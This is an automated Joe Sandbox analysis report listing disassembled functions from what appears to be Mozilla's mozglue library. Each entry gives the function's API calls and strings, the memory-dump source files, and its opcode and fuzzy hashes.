Part of subcall function 6C98D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C98CDBA,00100000,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D158
Part of subcall function 6C98D130: InitializeConditionVariable.KERNEL32(00000098,?,6C98CDBA,00100000,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CDC4

Part of subcall function 6C987480: ReleaseSRWLockExclusive.KERNEL32(?,6C9915FC,?,?,?,?,6C9915FC,?), ref: 6C9874EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CECC

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

Part of subcall function 6C97CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C98CEEA,?,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000), ref: 6C97CB57
Part of subcall function 6C97CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C97CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C98CEEA,?,?), ref: 6C97CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D058

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: bd3795a899cd6dd02dada738ea1e62c8a6d0da74194e0942f137ccc9287e974d
Instruction ID: 1eb9746c3b77afada2fa927f73bfb7798434038c57afb2b3b9e6c6c4f77fe59b
Opcode Fuzzy Hash: bd3795a899cd6dd02dada738ea1e62c8a6d0da74194e0942f137ccc9287e974d
Instruction Fuzzy Hash: 16D16E71A05B46DFD708CF28C480BA9F7E1BF99308F01866DD8598B712EB31E965CB81

Function 6C941720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9417B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9418EE
free.MOZGLUE(?), ref: 6C941911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94194C

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 618054c52dfadc0db6b968ac566194f50f8ca13126a647cb2ef2ce7dec3e7b3d
Instruction ID: 336ccad4c9e17991ef69a119ba6091c6b5af6e3d44457e737230f2ec56f1de9b
Opcode Fuzzy Hash: 618054c52dfadc0db6b968ac566194f50f8ca13126a647cb2ef2ce7dec3e7b3d
Instruction Fuzzy Hash: 0481E170A142059FCB08CF68D8D49BEBBB5FF8A314F04866CE815AB750D730E864CBA1

Function 6C955C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C955D40
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C955D67
__aulldiv.LIBCMT ref: 6C955DB4
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C955DED

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 287e775baa39834fa726801270fd49a52ce9ae6b2b0285997ef096ff1e6b6995
Instruction ID: f4069b7deb0e335ded57c808f94c0e1c208982bee84eb0a2952769656b70b137
Opcode Fuzzy Hash: 287e775baa39834fa726801270fd49a52ce9ae6b2b0285997ef096ff1e6b6995
Instruction Fuzzy Hash: E4516F76E0415ADFCF08CF68C854ABFBBB5FB85308F698619D811A7751C730A945CB90

Function 6C93CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C93CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C93CF4E

Strings

0, xrefs: 6C93CF30

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9f21e8fd39a489ad8fc6adecb3a1c393650b5c0b064567b3950eb2f09546e20e
Instruction ID: 4a6182ff740a96470bf13e5f7347458bd0249537bfdde0f70ff55340832c17e0
Opcode Fuzzy Hash: 9f21e8fd39a489ad8fc6adecb3a1c393650b5c0b064567b3950eb2f09546e20e
Instruction Fuzzy Hash: 17512575A006668FCB00CF18C890A9AB7B5EF99300F19829DDC595F791D731ED06CBE0

Function 6C9977D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9977FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C997829

Part of subcall function 6C96CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9331A7), ref: 6C96CC45
Part of subcall function 6C96CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9331A7), ref: 6C96CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C99789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9978CF

Part of subcall function 6C934DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
Part of subcall function 6C934DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97

Part of subcall function 6C934290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C973EBD,6C973EBD,00000000), ref: 6C9342A9

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 7cb943849619d258da37be788a6e7aa261710d5ee3ad269f3b8b4f0af51714c0
Instruction ID: 1665dcf1264eea48552396d235d0c1cdf87ed79ff54108c101c322342cf26f88
Opcode Fuzzy Hash: 7cb943849619d258da37be788a6e7aa261710d5ee3ad269f3b8b4f0af51714c0
Instruction Fuzzy Hash: 6D41AF719087469BD300DF29C48056BFBF8FFDA254F204A6EE4A987780DB30D559CB92

Function 6C976470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9782BC,?,?), ref: 6C97649B

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9764A9

Part of subcall function 6C96FA80: GetCurrentThreadId.KERNEL32 ref: 6C96FA8D
Part of subcall function 6C96FA80: AcquireSRWLockExclusive.KERNEL32(6C9BF448), ref: 6C96FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97653F
free.MOZGLUE(?), ref: 6C97655A

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 12a9273252c490e9b250fc2d8d16e9b2cf706bc615e05aee6f7a548ae67e93aa
Instruction ID: 74481e41412e3302473efb12cdc443b3f537577557ebf8d922173f116530984a
Opcode Fuzzy Hash: 12a9273252c490e9b250fc2d8d16e9b2cf706bc615e05aee6f7a548ae67e93aa
Instruction Fuzzy Hash: 15316FB5A097059FD700CF14D884A9EBBF4FF99314F50482EE85A97741EB30E919CB92

Function 6C96FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?), ref: 6C96FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?,?), ref: 6C96FFF5
free.MOZGLUE(?,?,?,?,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?), ref: 6C97001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C98D019,?,?,?,?,?,00000000,?,6C97DA31,00100000,?,?), ref: 6C97002A

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 2a3bbf0798061b2e6ef6e5d44688b21506bd449f37b286bf80502121ccd817a9
Instruction ID: eaafaa8658f108337d4162f5b65aef8459573c3b463276e6541622daaf06bafc
Opcode Fuzzy Hash: 2a3bbf0798061b2e6ef6e5d44688b21506bd449f37b286bf80502121ccd817a9
Instruction Fuzzy Hash: 2B2108B2B002159FD7189F799CD44AFB7BAEB953243250738E425D7BC0EA31DD1186E0

Function 6C94B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C94B4F5
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94B502
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94B542
free.MOZGLUE(?), ref: 6C94B578

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e29a26866c7d49f25e7135641eb2c416023734cf96b9dabc38954beb0494296e
Instruction ID: 430e4d399ab97e2758ed622ba103a8108f169e8d23c8b3dffa12972f1bfa19c8
Opcode Fuzzy Hash: e29a26866c7d49f25e7135641eb2c416023734cf96b9dabc38954beb0494296e
Instruction Fuzzy Hash: 1211C038A08B45E7D7128F29C40476AF3B5FF96318F20970AE84952A02EBB0F5D48794

Function 6C973DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C93F20E,?), ref: 6C973DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C93F20E,00000000,?), ref: 6C973DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C973E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C973E0E

Part of subcall function 6C96CC00: GetCurrentProcess.KERNEL32(?,?,6C9331A7), ref: 6C96CC0D
Part of subcall function 6C96CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9331A7), ref: 6C96CC16

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 7e2fb4cb89d8c9b646d05fa17c0a6a6f2db548186924566b40bd188745aa7a27
Instruction ID: 5dcc09e89f79356cfd51b081fc4d260e45f113639bc81fa2cb1d8569f3365af1
Opcode Fuzzy Hash: 7e2fb4cb89d8c9b646d05fa17c0a6a6f2db548186924566b40bd188745aa7a27
Instruction Fuzzy Hash: 95F012756002087BDB00AB54DC81DAB376DEF56628F140424FD0957741D636FD2586FB

Function 6C9820B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9820B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C96FBD1), ref: 6C9820C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C96FBD1), ref: 6C9820DA
free.MOZGLUE(00000000,?,6C96FBD1), ref: 6C9820F1

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ceed83a6c032548c1ecb4c73f01a00a137e11b0e4f963356a990b4704dc7281e
Instruction ID: f8702d3f9ccd805f007a6fcf6a9248709e53cd19a209c8822e0a29d933098b14
Opcode Fuzzy Hash: ceed83a6c032548c1ecb4c73f01a00a137e11b0e4f963356a990b4704dc7281e
Instruction Fuzzy Hash: 0CE0E575605A14ABC3209F25984854FB7F9EF96214B20062AF54AC3B00D775F54A86D9

Function 6C9885B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9885D3

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C988725

Strings

map/set<T> too long, xrefs: 6C988720

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a7c36dfb262a4a0b556f8da90c4ca3f7d8dcccd9625704c5fc0a31ce126c0572
Instruction ID: a6b499abe8690df89ee0867731c78648ccd437cc45a7bde22264642223788a7a
Opcode Fuzzy Hash: a7c36dfb262a4a0b556f8da90c4ca3f7d8dcccd9625704c5fc0a31ce126c0572
Instruction Fuzzy Hash: 765186B4602645CFC705CF18C084B56BBF1BF5A318F18CA8AD8595BB52C335E885CFA6

Function 6C93BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C93BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C93BE8F

Strings

0, xrefs: 6C93BE5B

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 9309eb5dba93e5fdaa3cbac4db5acf30c165d42fb7304bb5932f71a3f644b48c
Instruction ID: eb43aa76b030a285c851cdcde1526041a2b8856300b8205c60b1a1208fa67899
Opcode Fuzzy Hash: 9309eb5dba93e5fdaa3cbac4db5acf30c165d42fb7304bb5932f71a3f644b48c
Instruction Fuzzy Hash: 9B41E271909B55CFC311CF38C481A9BB7F4EF9A348F009A1DF999A7651E730D9488B82

Function 6C973CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C973D19
mozalloc_abort.MOZGLUE(?), ref: 6C973D6C

Strings

d, xrefs: 6C973D58

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: e04803f12f7d871ee53e6cff56517c4eca469b5d876c7b10069d06223fefcab4
Instruction ID: bde5d0ad0f23ce39f494df7e0c348479364c8ee1fec9be4dcbcf68869896ef55
Opcode Fuzzy Hash: e04803f12f7d871ee53e6cff56517c4eca469b5d876c7b10069d06223fefcab4
Instruction Fuzzy Hash: E5112732E08688E7DB109BB9C9144EEB779FF96318B448319DC4597702FB30E584C360

Function 6C944730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9444B2,6C9BE21C,6C9BF7F8), ref: 6C94473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C94474A

Strings

GetNtLoaderAPI, xrefs: 6C944744

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 23001a65d95fc95eadbd50f6153a97ef33f3a294d1e7a97cd9648942142cccbb
Instruction ID: 3765687aa06cdfd655eb1754c7daf407884bfb0a06fc90e7464e4015df650c0e
Opcode Fuzzy Hash: 23001a65d95fc95eadbd50f6153a97ef33f3a294d1e7a97cd9648942142cccbb
Instruction Fuzzy Hash: EC019279309354AFDF009F65888461A7BB9EB8B715B154069E906C7350DB74D802CFA5

Function 6C996DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C996E22
__Init_thread_footer.LIBCMT ref: 6C996E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C996E1D

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 40b34511dc0a5b449d1ea9ea662c9b0d5a038fd6d05167df6ff33e883695d965
Instruction ID: 931f72748fe9b930c0b885df100a646738681d58e96fdc8cc07338b506d82e26
Opcode Fuzzy Hash: 40b34511dc0a5b449d1ea9ea662c9b0d5a038fd6d05167df6ff33e883695d965
Instruction Fuzzy Hash: 75F0B47D60D24AEBEB008BBCC850A937775576721CF280165CC0546F91D731E92ACAEB

Function 6C949E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C949EEF

Strings

NaN, xrefs: 6C949EC1
Infinity, xrefs: 6C949EB7

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: f8dd424eeb593c87a5f7a7286240c2f82c162e2eecc87b06fe396b66a9bd895b
Instruction ID: 4324c3f2c7d57efc56373e6c7d38bc37584c108da0ff9cfbf2e89662903e4845
Opcode Fuzzy Hash: f8dd424eeb593c87a5f7a7286240c2f82c162e2eecc87b06fe396b66a9bd895b
Instruction Fuzzy Hash: 76F0497D608241EAEB008F6CE946B973375A7D731DF304A59C5081AB80E735E64ACB8A

Function 6C94BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C94BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C94BEF5

Strings

cryptbase.dll, xrefs: 6C94BEF0

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

